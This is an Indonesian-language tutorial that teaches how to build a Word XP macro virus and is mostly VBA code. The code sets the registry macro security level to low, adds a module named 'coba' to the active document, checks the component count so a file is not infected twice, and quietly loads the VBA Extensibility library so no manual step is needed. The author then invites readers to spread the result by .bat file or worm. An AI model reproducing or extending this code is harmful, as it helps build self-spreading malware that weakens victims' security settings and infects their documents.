Sedikit Teknik pembuatan virus makro pada Microsoft Word XP 10.0

karena sistem keamanan Microsoft Word XP berbeda dengan Microsoft Word 2000, maka saya ingin mengulas sedikit tentang teknik peng-copyan modulnya. Sebelumnya coba lihat dulu sebagian source kode ini :


System.PrivateProfileString
("","HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&

On Error Resume Next

Set NorTemp = NormalTemplate.VBProject

Set Aktif = ActiveDocument.VBProject

Set modulbaru = ActiveDocument.VBProject.VBComponents.Add(vbext_ct_StdModule)

If modulbaru.Name <> "coba" Then

modulbaru.Name = "coba"

If (ActiveDocument.VBProject.VBComponents.Count < 2) And (ActiveDocument.VBProject.VBComponents.Count >= 1) Then

Else:

eror

End if

On Error Resume Next

NormalTemplate.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")

Set NorTemp = NormalTemplate.VBProject

On Error Resume Next

ActiveDocument.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")

  Dalam Microsoft Word XP Registry untuk membuat rendah sistem keamanan macro security-nya hampir sama dengan Microsoft Word 2000, yang membedakan hanya versi yang tertera pada registry tersebut.

- Pada Microsoft Word 2000:

System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&Â

Pada Microsoft Word XP:

System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&

Kelihatan kan perbedaanya hanya pada versinya saja

- Untuk teknik pembuatan module antar dokumen yang aktif hampir sama, cuma saya disini memakai syntax yang berbeda      dengan sevenC (hi..hi..hi), bisa dilihat pada source code di bawah ni :

On Error Resume Next

Set NorTemp = NormalTemplate.VBProject

Set Aktif = ActiveDocument.VBProject

Set modulbaru = ActiveDocument.VBProject.VBComponents.Add(vbext_ct_StdModule)

If modulbaru.Name <> "coba" Then

modulbaru.Name = "coba"

-kalau sudah untuk mencegah agar virus tidak menulari dokumen tersebut 2 kali tambahkan perintah:

If (ActiveDocument.VBProject.VBComponents.Count < 2) And (ActiveDocument.VBProject.VBComponents.Count >= 1) Then

'routine infeksi



Else:
eror -->
sub error handler yang dibuat dengan membuat sub kosong, contoh



sub eror()

'kalian bisa memasukkan perintah apa saja di sini, kalau saya lebih suka kosong sih hihhi...
end sub


MASALAH:
Tetapi untuk menjalankan routine ini kita harus menyalakan Librari Microsoft Visual Basic for Applications Extensibility 5.03 yang ada pada Visual basic Editor di Menu 'tools', sub menu 'reference'. Bila kita tidak memakai librari tersebut akan memunculkan pesan error. Gimana dong cara menyalakannya dengan otomatis tanpa harus mengklik menu tsb pada Word?Â


SOLUSI:
Masuk ke Visual Basic Editor,ke menu tools, reference, cari library yang bernama Microsoft Visual Basic for Applications Extensibility 5.03, kemudian klik, dan keluar dari menu tersebut.dan Jalankan source kode.

atau dengan cara tersembunyi yaitu dengan menggunakan file vbe6ext.olb yang ada pada path C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\ , karena file tersebut yang dapat menjalankan type library untuk Microsoft Visual Basic for Applications Extensibility 5.03, maka ketikkan :

On Error Resume Next

NormalTemplate.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")

Set NorTemp = NormalTemplate.VBProject

kalau yang diatas untuk mengeset normal templatenya, sedangkan yang ini untuk mengeset agar Microsoft Visual Basic for Applications Extensibility 5.03 aktif di dokumen yang lagi aktif :

On Error Resume Next

ActiveDocument.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")


Wah....selesai degh....kamu bisa masuk ke Microsoft Office XP dengan routine tersebut, terserah penyebarannya mau dengan memakai .bat, atau dengan worm, up to you.....makasih buat saran kritik n caci maki....